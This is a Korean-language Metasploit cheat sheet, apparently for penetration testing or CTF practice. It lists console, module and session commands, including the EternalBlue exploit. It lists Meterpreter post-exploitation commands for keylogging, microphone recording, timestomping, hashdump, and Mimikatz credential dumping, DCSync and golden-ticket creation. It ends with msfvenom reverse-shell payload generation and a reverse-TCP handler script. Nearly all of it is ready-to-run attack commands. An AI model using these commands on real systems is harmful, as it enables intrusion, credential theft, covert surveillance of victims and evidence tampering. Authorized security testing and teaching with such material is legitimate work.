Metasploit Framework
강력한 침투 테스트 및 익스플로잇 프레임워크입니다.
데이터베이스 관리
# 데이터베이스 시작
sudo msfdb run
# 데이터베이스 초기화
sudo msfdb init
# 기존 데이터베이스 삭제
msfdb --use-defaults delete
# 데이터베이스 재초기화
msfdb --use-defaults init
# 상태 확인
msfdb status
기본 명령어
실행
# Metasploit 콘솔 시작
msfconsole
# 조용한 모드
msfconsole -q
# 프록시체인 사용
proxychains -q msfconsole
워크스페이스
msf6 > workspace # 워크스페이스 목록
msf6 > workspace -a <NAME> # 워크스페이스 추가
msf6 > workspace <NAME> # 워크스페이스 전환
msf6 > workspace -r <OLD> <NEW> # 이름 변경
msf6 > workspace -d <NAME> # 삭제
msf6 > workspace -D # 모두 삭제
데이터베이스 사용
# Nmap 스캔 및 DB 저장
msf6 > db_nmap -sV -p- <RHOST>
msf6 > db_nmap -A <RHOST>
# 호스트 확인
msf6 > hosts
# 서비스 확인
msf6 > services
# 취약점 확인
msf6 > vulns
# 크리덴셜 확인
msf6 > creds
모듈 사용
검색
# 일반 검색
msf6 > search <KEYWORD>
msf6 > search type:exploit platform:windows smb
# 특정 CVE
msf6 > search cve:2017-0144
# 특정 플랫폼
msf6 > search platform:linux
# 포트별
msf6 > search port:445
모듈 선택 및 사용
# 모듈 사용
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 모듈 정보
msf6 > info
# 옵션 보기
msf6 > show options
msf6 > show advanced
# 페이로드 보기
msf6 > show payloads
# 타겟 보기
msf6 > show targets
옵션 설정
msf6 > set RHOST <RHOST>
msf6 > set RPORT <RPORT>
msf6 > set LHOST <LHOST>
msf6 > set LPORT <LPORT>
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set VERBOSE true
msf6 > set forceexploit true
# 전역 설정
msf6 > setg RHOST <RHOST>
msf6 > setg LHOST <LHOST>
# 설정 해제
msf6 > unset RHOST
msf6 > unsetg RHOST
실행
msf6 > run
msf6 > exploit
msf6 > exploit -j # 백그라운드 실행
msf6 > exploit -z # 세션 즉시 백그라운드
모듈 타입
msf6 > use exploit/<PATH> # 익스플로잇
msf6 > use auxiliary/<PATH> # 보조 모듈
msf6 > use payload/<PATH> # 페이로드
msf6 > use encoder/<PATH> # 인코더
msf6 > use post/<PATH> # Post 익스플로잇
msf6 > use nop/<PATH> # NOP
세션 관리
msf6 > sessions # 세션 목록
msf6 > sessions -l # 세션 목록 (상세)
msf6 > sessions -i 1 # 세션 1 연결
msf6 > sessions -u <ID> # 쉘을 meterpreter로 업그레이드
msf6 > sessions -k <ID> # 세션 종료
msf6 > sessions -K # 모든 세션 종료
msf6 > sessions -c <CMD> # 모든 세션에 명령 실행
작업 관리
msf6 > jobs # 작업 목록
msf6 > jobs -k <ID> # 작업 종료
msf6 > jobs -K # 모든 작업 종료
Meterpreter
기본 명령어
meterpreter > help # 도움말
meterpreter > background # 백그라운드 (Ctrl+Z도 가능)
meterpreter > bg # 백그라운드
meterpreter > shell # 시스템 쉘
meterpreter > exit # 종료
시스템 정보
meterpreter > sysinfo # 시스템 정보
meterpreter > getuid # 현재 사용자
meterpreter > getpid # 프로세스 ID
meterpreter > ps # 프로세스 목록
meterpreter > pgrep explorer # 프로세스 검색
프로세스 마이그레이션
meterpreter > ps
meterpreter > migrate 2236
meterpreter > migrate -N explorer.exe
파일 시스템
meterpreter > pwd # 현재 디렉토리
meterpreter > ls # 파일 목록
meterpreter > cd <DIR> # 디렉토리 이동
meterpreter > cat <FILE> # 파일 읽기
meterpreter > download <FILE> # 파일 다운로드
meterpreter > download * # 모든 파일
meterpreter > upload <FILE> # 파일 업로드
meterpreter > search -f <FILE> # 파일 검색
meterpreter > rm <FILE> # 파일 삭제
meterpreter > mkdir <DIR> # 디렉토리 생성
meterpreter > rmdir <DIR> # 디렉토리 삭제
권한 상승
meterpreter > getprivs # 현재 권한
meterpreter > getsystem # SYSTEM 권한 획득
네트워크
meterpreter > ipconfig # 네트워크 설정
meterpreter > ifconfig # 네트워크 인터페이스
meterpreter > route # 라우팅 테이블
meterpreter > arp # ARP 테이블
meterpreter > netstat # 네트워크 연결
포트 포워딩
# 로컬 포트 포워딩
meterpreter > portfwd add -l <LPORT> -p <RPORT> -r 127.0.0.1
# 목록
meterpreter > portfwd list
# 삭제
meterpreter > portfwd delete -l <LPORT>
스크린샷 & 키로깅
# 스크린샷
meterpreter > screenshot
# 실시간 화면 공유
meterpreter > screenshare
meterpreter > screenshare -q 100
# 키로깅
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
# 마이크 녹음
meterpreter > record_mic
프로그램 실행
meterpreter > execute -f calc.exe
meterpreter > execute -f cmd.exe -i -H
타임스탬프 조작
meterpreter > timestomp <FILE> -v
meterpreter > timestomp <FILE> -m "01/01/2020 12:00:00"
모듈 로드
Kiwi (Mimikatz)
meterpreter > load kiwi
meterpreter > help kiwi
meterpreter > kiwi_cmd
meterpreter > creds_all
meterpreter > creds_msv
meterpreter > creds_kerberos
meterpreter > creds_wdigest
meterpreter > lsa_dump_sam
meterpreter > lsa_dump_secrets
meterpreter > dcsync_ntlm krbtgt
meterpreter > golden_ticket_create
PowerShell
meterpreter > load powershell
meterpreter > powershell_shell
meterpreter > powershell_execute 'Get-Process'
meterpreter > powershell_import /path/to/script.ps1
meterpreter > powershell_session_remove
Stdapi
meterpreter > loadstdapi
Post Exploitation 모듈
# 로컬 익스플로잇 제안
meterpreter > run post/multi/recon/local_exploit_suggester
# VM 확인
meterpreter > run post/windows/gather/checkvm
# 해시 덤프
meterpreter > hashdump
meterpreter > run post/windows/gather/hashdump
meterpreter > run post/linux/gather/hashdump
# RDP 활성화
meterpreter > run post/windows/manage/enable_rdp
# Autoroute
meterpreter > run post/multi/manage/autoroute
# SOCKS 프록시
meterpreter > run auxiliary/server/socks_proxy
meterpreter > run auxiliary/server/socks4a
# 쉘을 Meterpreter로 업그레이드
msf6 > use post/multi/manage/shell_to_meterpreter
Handler 설정
기본 Listener
msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST <LHOST>
msf6 > set LPORT <LPORT>
msf6 > set EXITFUNC thread
msf6 > set AutoLoadStdapi false
msf6 > set PrependMigrate true
msf6 > set PrependMigrateProc explorer.exe
msf6 > run -j
페이로드 생성
# Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o payload.exe
# Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f elf -o payload.elf
# PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f raw -o payload.php
유용한 설정
# Verbose 모드
msf6 > set VERBOSE true
# 강제 실행
msf6 > set forceexploit true
# 쓰레드 종료 방식
msf6 > set EXITFUNC thread
# 로그 기록
msf6 > spool /path/to/file.log
# 상태 저장
msf6 > save
리소스 스크립트
스크립트 작성
# handler.rc
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
set EXITFUNC thread
exploit -j
실행
msfconsole -r handler.rc
콘솔 내에서
msf6 > resource /path/to/script.rc
보조 출력 디렉토리
~/.msf4/loot/
/home/<USERNAME>/.msf4/loot/20200623090635_default_<RHOST>_nvms.traversal_680948.txt
참고
- 데이터베이스 사용으로 스캔 결과 관리
- 워크스페이스로 프로젝트 분리
- Meterpreter는 강력한 post-exploitation 기능
- getsystem으로 권한 상승 가능
- migrate로 안정적인 프로세스로 이동
- 포트 포워딩으로 피봇팅 가능
- Kiwi 모듈로 mimikatz 기능 사용
- Resource 스크립트로 자동화
- 백그라운드 실행으로 여러 세션 관리